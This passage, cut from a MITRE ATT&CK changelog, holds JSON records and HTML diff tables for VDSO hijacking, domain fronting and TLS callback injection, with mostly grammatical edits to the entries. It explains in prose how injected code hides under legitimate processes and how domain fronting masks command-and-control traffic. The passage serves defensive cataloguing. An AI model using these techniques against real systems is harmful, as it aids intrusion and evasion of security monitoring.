nowrap=\"nowrap\">itation:&nbsp;FireEye&nbsp;TLS&nbsp;Nov&nbsp;2017)&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;context&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;FireEye&nbsp;TLS&nbsp;Nov&nbsp;2017)&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;contex</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memory,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;possibly&nbsp;elevated&nbsp;privileges.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y,&nbsp;system/network&nbsp;resources,&nbsp;and&nbsp;possibly&nbsp;elevated&nbsp;privilege</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Execution&nbsp;via&nbsp;TLS&nbsp;callback&nbsp;injection&nbsp;may&nbsp;also&nbsp;evade&nbsp;detecti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;Execution&nbsp;via&nbsp;TLS&nbsp;callback&nbsp;injection&nbsp;may&nbsp;also&nbsp;evade&nbsp;detec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;unde</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;un</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0467: Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-14 01:35:00.781000+00:00",
                    "modified": "2026-11-04 03:10:55.306000+00:00",
                    "name": "VDSO Hijacking",
                    "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which stores absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/014",
                            "external_id": "T1055.014"
                        },
                        {
                            "source_name": "Backtrace VDSO",
                            "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20210205211142/https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/"
                        },
                        {
                            "source_name": "Syscall 2014",
                            "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.",
                            "url": "https://lwn.net/Articles/604515/"
                        },
                        {
                            "source_name": "ELF Injection May 2009",
                            "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.",
                            "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html"
                        },
                        {
                            "source_name": "VDSO Aug 2005",
                            "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.",
                            "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:10:55.306000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \\n\\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which stores absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  \", \"old_value\": \"Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \\n\\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\\n+VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which stores absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to65__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to65__0\"><a href=\"#difflib_chg_to65__top\">t</a></td><td class=\"diff_header\" id=\"from65_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;processes&nbsp;via&nbsp;VDS</td><td class=\"diff_next\"><a href=\"#difflib_chg_to65__top\">t</a></td><td class=\"diff_header\" id=\"to65_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;processes&nbsp;via&nbsp;VDS</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">O&nbsp;hijacking&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defenses&nbsp;as&nbsp;well</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">O&nbsp;hijacking&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-based&nbsp;defenses&nbsp;as&nbsp;well</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;Virtual&nbsp;dynamic&nbsp;shared&nbsp;obje</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;Virtual&nbsp;dynamic&nbsp;shared&nbsp;obje</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;(vdso)&nbsp;hijacking&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;(vdso)&nbsp;hijacking&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;VDSO&nbsp;hija</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;VDSO&nbsp;hija</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;involves&nbsp;redirecting&nbsp;calls&nbsp;to&nbsp;dynamically&nbsp;linked&nbsp;share</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cking&nbsp;involves&nbsp;redirecting&nbsp;calls&nbsp;to&nbsp;dynamically&nbsp;linked&nbsp;share</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;libraries.&nbsp;Memory&nbsp;protections&nbsp;may&nbsp;prevent&nbsp;writing&nbsp;executab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;libraries.&nbsp;Memory&nbsp;protections&nbsp;may&nbsp;prevent&nbsp;writing&nbsp;executab</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;code&nbsp;to&nbsp;a&nbsp;process&nbsp;via&nbsp;[Ptrace&nbsp;System&nbsp;Calls](https://attac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;code&nbsp;to&nbsp;a&nbsp;process&nbsp;via&nbsp;[Ptrace&nbsp;System&nbsp;Calls](https://attac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1055/008).&nbsp;However,&nbsp;an&nbsp;adversary&nbsp;may</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1055/008).&nbsp;However,&nbsp;an&nbsp;adversary&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;hijack&nbsp;the&nbsp;syscall&nbsp;interface&nbsp;code&nbsp;stubs&nbsp;mapped&nbsp;into&nbsp;a&nbsp;proce</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;hijack&nbsp;the&nbsp;syscall&nbsp;interface&nbsp;code&nbsp;stubs&nbsp;mapped&nbsp;into&nbsp;a&nbsp;proce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;from&nbsp;the&nbsp;vdso&nbsp;shared&nbsp;object&nbsp;to&nbsp;execute&nbsp;syscalls&nbsp;to&nbsp;open&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;from&nbsp;the&nbsp;vdso&nbsp;shared&nbsp;object&nbsp;to&nbsp;execute&nbsp;syscalls&nbsp;to&nbsp;open&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;map&nbsp;a&nbsp;malicious&nbsp;shared&nbsp;object.&nbsp;This&nbsp;code&nbsp;can&nbsp;then&nbsp;be&nbsp;invo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;map&nbsp;a&nbsp;malicious&nbsp;shared&nbsp;object.&nbsp;This&nbsp;code&nbsp;can&nbsp;then&nbsp;be&nbsp;invo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ked&nbsp;by&nbsp;redirecting&nbsp;the&nbsp;execution&nbsp;flow&nbsp;of&nbsp;the&nbsp;process&nbsp;via&nbsp;pat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ked&nbsp;by&nbsp;redirecting&nbsp;the&nbsp;execution&nbsp;flow&nbsp;of&nbsp;the&nbsp;process&nbsp;via&nbsp;pat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ched&nbsp;memory&nbsp;address&nbsp;references&nbsp;stored&nbsp;in&nbsp;a&nbsp;process'&nbsp;global&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ched&nbsp;memory&nbsp;address&nbsp;references&nbsp;stored&nbsp;in&nbsp;a&nbsp;process'&nbsp;global&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ffset&nbsp;table&nbsp;(which&nbsp;store<span class=\"diff_chg\">&nbsp;absolute&nbsp;addresses</span>&nbsp;of&nbsp;mapped&nbsp;librar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ffset&nbsp;table&nbsp;(which&nbsp;store<span class=\"diff_chg\">s&nbsp;absolute&nbsp;addresses</span>&nbsp;of&nbsp;mapped&nbsp;libra</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;functions).(Citation:&nbsp;ELF&nbsp;Injection&nbsp;May&nbsp;2009)(Citation:&nbsp;Ba</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry&nbsp;functions).(Citation:&nbsp;ELF&nbsp;Injection&nbsp;May&nbsp;2009)(Citation:&nbsp;B</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cktrace&nbsp;VDSO)(Citation:&nbsp;VDSO&nbsp;Aug&nbsp;2005)(Citation:&nbsp;Syscall&nbsp;201</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">acktrace&nbsp;VDSO)(Citation:&nbsp;VDSO&nbsp;Aug&nbsp;2005)(Citation:&nbsp;Syscall&nbsp;20</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">4)&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">14)&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">w&nbsp;access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;possibly&nbsp;elevated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;VDSO&nbsp;hijackin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;possibly&nbsp;elevated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;VDSO&nbsp;hijacki</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;may&nbsp;also&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;may&nbsp;also&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;products&nbsp;since&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.&nbsp;&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0448: Detection Strategy for VDSO Hijacking on Linux"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-14 23:29:19.581000+00:00",
                    "modified": "2026-11-04 00:26:10.170000+00:00",
                    "name": "Domain Fronting",
                    "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.(Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x; however, the CDN may route it to domain-y.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "command-and-control"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1090/004",
                            "external_id": "T1090.004"
                        },
                        {
                            "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
                            "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
                            "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Matt Kelly, @breakersall"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows",
                        "ESXi"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:26:10.170000+00:00\", \"old_value\": \"2025-10-24 17:49:23.135000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.(Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the technique, \\\"domainless\\\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\\n\\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x; however, the CDN may route it to domain-y.\", \"old_value\": \"Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \\\"domainless\\\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\\n\\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \\\"domainless\\\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\\n+Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.(Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the technique, \\\"domainless\\\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\\n \\n-For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\\n+For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x; however, the CDN may route it to domain-y.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to62__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to62__0\"><a href=\"#difflib_chg_to62__top\">t</a></td><td class=\"diff_header\" id=\"from62_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;routing&nbsp;schemes&nbsp;in&nbsp;Content</td><td class=\"diff_next\"><a href=\"#difflib_chg_to62__top\">t</a></td><td class=\"diff_header\" id=\"to62_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;routing&nbsp;schemes&nbsp;in&nbsp;Content</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Delivery&nbsp;Networks&nbsp;(CDNs)&nbsp;and&nbsp;other&nbsp;services&nbsp;which&nbsp;host&nbsp;mult</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Delivery&nbsp;Networks&nbsp;(CDNs)&nbsp;and&nbsp;other&nbsp;services&nbsp;which&nbsp;host&nbsp;mult</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iple&nbsp;domains&nbsp;to&nbsp;obfuscate&nbsp;the&nbsp;intended&nbsp;destination&nbsp;of&nbsp;HTTPS&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iple&nbsp;domains&nbsp;to&nbsp;obfuscate&nbsp;the&nbsp;intended&nbsp;destination&nbsp;of&nbsp;HTTPS&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">traffic&nbsp;or&nbsp;traffic&nbsp;tunneled&nbsp;through&nbsp;HTTPS.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Fifiel</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">traffic&nbsp;or&nbsp;traffic&nbsp;tunneled&nbsp;through&nbsp;HTTPS.(Citation:&nbsp;Fifield</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 